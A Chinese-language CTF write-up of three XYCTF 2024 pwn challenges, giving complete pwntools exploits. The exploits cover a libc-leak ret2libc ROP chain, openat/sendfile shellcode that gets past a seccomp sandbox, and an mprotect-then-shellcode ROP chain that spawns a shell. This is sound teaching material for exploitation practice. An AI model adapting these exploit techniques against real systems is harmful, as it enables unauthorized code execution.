首页 > 其他分享 >[pwn]XYCTF 2024 个人WriteUp

[pwn]XYCTF 2024 个人WriteUp

时间:2024-04-28 09:25:20浏览次数:22  
标签:p64 libc WriteUp pop 2024 pwn shellcode payload addr

目录

由于本人菜鸡和时间问题,只打了前两周,打出了pwn的三道简单题目,记录自己的做题过程,如何后续复现可能也会更新。

XYCTF 2024 WriteUp

>pwn

1.hello_world(签到)

image-20240404091316707

常规checksec

IDA反编译进入主函数

image-20240404091637577

发现read可以进行两次栈溢出,同时%s格式化字符串可以泄露栈上地址。

vuln程序中没有system和/bin/sh字符串,考虑ret2libc,

同时程序中没有发现可以利用的 pop rdi,或许可以利用libc中的gadgets。

所以目标已经很明确了,只要泄露libc的基地址,就可以构造payload获取shell。

那么gdb动态调试

image-20240404092434367

可以看到rbp位置有一个libc中函数地址

利用%s输出字符串遇\x00停止的特点,我们输入0x28个字符,因为没有\x00,所以会继续输出后续的地址,(注意如果地址中包含\x00也会截断),从而可以计算偏移得到libc基地址。

附完整exp

from pwn import *

#p = process("./vuln")
p = remote("xyctf.top", 36826)

libc_pop_rdi = 0x2a3e5
libc_ret = 0x29139			#可以在libc中找到
libc = ELF("./libc.so.6")

context(os="linux", arch="amd64")
#context(log_level="debug")

#gdb.attach(p,"b printf")

payload = b'b'*0x28
p.recvuntil(b'please input your name: ')
p.send(payload)
p.recvuntil(b"b"*0x28)
leak_addr = u64(p.recv(6).ljust(8, b'\x00'))
#leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
printf_addr = leak_addr + 0x36a0f - 175
#gdb动调计算偏移,此处稍显繁琐,也可以利用其它函数计算基地址

print("leak:", hex(leak_addr))  #泄露栈上地址
print("printf_addr:", hex(printf_addr))

libc_base = printf_addr - libc.sym["printf"]

pop_rdi = libc_pop_rdi + libc_base
ret = libc_base + libc_ret
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

payload = cyclic(0x28) + p64(ret) + p64(pop_rdi)+ p64(binsh_addr) + p64(system_addr)
#注意堆栈平衡
p.sendline(payload)

p.interactive()

2.invisible_flag

image-20240408185828523

checksec

IDA反编译

image-20240408185955389

可以看到程序会执行我们输入的shellcode,开启了沙盒

image-20240408190121493

禁用open read write

考虑使用openat(与open类似)打开flag文件

sendfile将其输出到终端上

exp,使用了shellcraft模块

from pwn import *

context(arch="amd64", os="linux")

#p = process("./vuln")
p = remote("xxx.xx.xxx.x",49443)
#gdb.attach(p,"b 0x1465")

shellcode = shellcraft.openat(-100,"flag",0)
#-100 AT_FDCWD当前目录
shellcode += shellcraft.sendfile(1,3,0,50)
#stdout 1 ;第一个打开的文件即flag 3
shellcode = asm(shellcode)


p.sendline(shellcode)

p.interactive()

image-20240413132206340

checksec,发现Canary,但是实际上是没有的,静态链接文件

image-20240413132331283

反编译进入vuln函数,明显的栈溢出,没有发现system函数和/bin/sh字符串,因为是静态链接,ret2libc是不行了,那么可以想到写入shellcode,并挟持rip执行shellcode拿到shell。

mproptect函数将某一内存区权限修改为可写可执行,read写入shellcode,栈溢出挟持rip执行shellcode则成功拿到shell

这里向got表写入,ROP构造

mprotect(got_addr,0x1000,7)
#参数依次是 修改的内存空间地址,修改的长度,修改的权限(7表示可读可写可执行)
read(0,got_addr,0x1000)

发送shellcode写入内存,栈溢出挟持到got_addr即可获取shell

附exp

from pwn import *

#p = process("./vuln")
p = remote("xxx.xx.xxx.x",54207)
context(arch="amd64",os="linux")

pop_rdi = 0x401f1f
pop_rsi = 0x409f8e
pop_rdx = 0x451322
ret = 0x40101a

mprotect_addr = 0x4482C0
read_addr = 0x447580

got_plt = 0x4C5000
main_addr = 0x40184E

shellcode = asm(shellcraft.sh())

payload = cyclic(0x28) + p64(pop_rdi) + p64(got_plt) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect_addr) +  p64(main_addr)
p.sendlineafter(b"ret2??",payload)

payload = cyclic(0x28) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(got_plt) + p64(pop_rdx) + p64(0x1000) + p64(read_addr) + p64(main_addr)
p.sendlineafter(b"ret2??",payload)

sleep(1)
p.sendline(shellcode)

payload = cyclic(0x28) + p64(got_plt) + p64(main_addr)
p.sendlineafter(b"ret2??",payload)

#gdb.attach(p,"b read")

p.interactive()

标签:p64,libc,WriteUp,pop,2024,pwn,shellcode,payload,addr
From: https://www.cnblogs.com/wyxhhh/p/18162979

相关文章

  • 2024年 ▇▇▇▇大学嵌入式系 综合实践 全过程记录
    2024年▇▇NU嵌入式系综合实践全过程记录写在结课答辩完成后:这是一门失败的课程,在我们眼中看来,这更像是▇▇▇▇▇▇大学软件工程学院的近年来在本科人才培养改革失败上的集中体现和必然结果。落后于主流的课程设计、古老的实验设备、部分教师的不作为与死板固执、学生不......
  • 20240427打卡-02构建之法阅读笔记之一
    在一个团队里,每个人的代码风格不一样,并且每个人负责不同的模块,而最后整合的时候就会出现困难,明明在自己的电脑上可以运行,但为什么到别人的电脑上就会报错,就好比这次团队作业的一个功能,一个人实现了图片的上传功能,但是在别人的电脑里无论如何也实现不了。如何能让自己负责的模块功......
  • 2024.04.27 笔记,下午
    b/s架构和c/s架构(重点)(1)bs:浏览器------服务器(web)b:broeser浏览器s:server服务器bs的应用:论坛,百度,知乎,豆瓣,csdn,博客园(2)cs架构:客户端-----服务器(app)c:client客户端s:server服务器cs应用:抖音,微信,qq,快手,酷狗区别:(1)bs不需要更新,直接通过浏览器输入网址进行访问;......
  • pwn第二课
    静态链接静态连接是将多个文件链接在一起并生成可执行文件的过程示例代码:a.cexternintshared;externvoidswap(int*a,int*b);intmain(){ inta=10; swap(&a,&shared); }b.cintshared=1;intswap(int*a,int*b){ *a^=*b^=*a^=*b;}将这a.c和b.c......
  • es笔记20240427
    postfilter    聚合结果统计topagges对聚合结果源数据统计   ......
  • XYCTF2024-web-wp
    怎么全是傻逼绕过题。不想评价,就随便打着玩,除了最后一道java反序列化搞心态,其他的ak了:简单题不想说,http注意一下代理是用Via就行,warmup直接:http://xyctf.top:37034/?val1=240610708&val2=QNKCDZO&md5=0e215962017&XYCTF=240610708&XY=240610708LLeeevvveeelll222.phpget......
  • 2024-04-27:用go语言,在一个下标从 1 开始的 8 x 8 棋盘上,有三个棋子,分别是白色车、白色
    2024-04-27:用go语言,在一个下标从1开始的8x8棋盘上,有三个棋子,分别是白色车、白色象和黑色皇后。给定这三个棋子的位置,请计算出要捕获黑色皇后所需的最少移动次数。需要注意的是,白色车可以垂直或水平移动,而白色象可以沿对角线移动,它们不能跳过其他棋子。如果白色车或白色象......
  • 题解:P10329 [UESTCPC 2024] Add
    Add题意将序列进行一系列的操作,输出对\(a_{1}\)的期望值。题目中操作说的比较明了,再次就不特殊声明了。思路据题意所知,每一个\(n\)应该对应了一个固定的答案。于是我就想到可以打表,就打出了下面的式子。n=1时ans=1n=2时ans=5n=3时ans=14n=4时ans=30n=5时ans=5......
  • pwn知识——劫持tcache_perthread_struct(Ubuntu22.04之前)
    前言(可忽略)堆不愧是堆...知识点真的要多用动调查看堆的状态才好理解tcache_perthread_struct的结构源码#defineTCACHE_MAX_BINS64/*Weoverlaythisstructureontheuser-dataportionofachunkwhenthechunkisstoredintheper-threadcache.*/typedefst......
  • 2024 天元公学邀请赛夺金记
    2024.4.14今天是初赛,本来以为初赛就上机,没想到是笔试。考试时有个程序没想出来是什么算法,只能手动模拟,算了很久,后来算出一个580,结果发现最近的一个是579,其他都差得很远,直接选了上去。因为当时快没时间了,赛后才发现少减了一个,xjy和cjz都说是容斥,%%%。2024.4.17初赛稳稳当当......